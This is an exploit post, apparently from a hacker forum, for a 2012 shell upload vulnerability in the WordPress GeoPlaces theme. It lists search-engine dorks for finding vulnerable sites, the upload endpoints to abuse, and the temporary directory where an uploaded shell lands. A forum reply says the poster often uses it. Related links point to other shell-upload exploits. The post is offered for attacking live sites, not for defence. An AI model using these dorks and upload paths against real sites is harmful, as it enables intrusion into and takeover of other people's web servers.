WordPress GeoPlaces Themes | shell upload vulnerability

Title : WordPress GeoPlaces Themes | shell upload vulnerability
Author : Z190T
Category : web-apps
Contact : mahruz[dot]id[at]gmail[dot]com
Facebook : mahruz.n00bie
Homepage : http://mahruz-id.com/
Vendor : http://www.geotheme.com/
Date : 14-Nopember-2012
Tested on : anything OS
Dork :

Code:: inurl:"/?ptype=post_listing"
inurl:"/?ptype=post_event"
intext:"Geo Places Theme by"
intext:"(You can upload more than one images to create image gallery on detail page)"

===========================

exploit -->>
- http://127.0.0.1/?ptype=post_listing
- http://127.0.0.1/?ptype=post_event
- http://127.0.0.1/path/?ptype=post_listing
- http://127.0.0.1/path/?ptype=post_event

view -->>
- http://127.0.0.1/wp-content/themes/GeoPlaces/images/tmp/[here]
- http://127.0.0.1/path/wp-content/themes/GeoPlaces/images/tmp/[here]

note -->>
- null

thank's to -->>
- Allah my GOD, Muhammad my PROPHET, Indonesian Hacker my STYLE.

video -->>
.:: VIEW ::.

.

yang ini sering ane pake om
tapi peluang dah kecil

» WordPress Editor Monkey suffers from a remote shell upload vulnerability
» vulnerability Themes Wordpress
» TinyMCE ajaxfilemanager Upload Vulnerability
» Wordpress Plugin EasyComment Upload Vulnerability
» Upload Shell di Zencart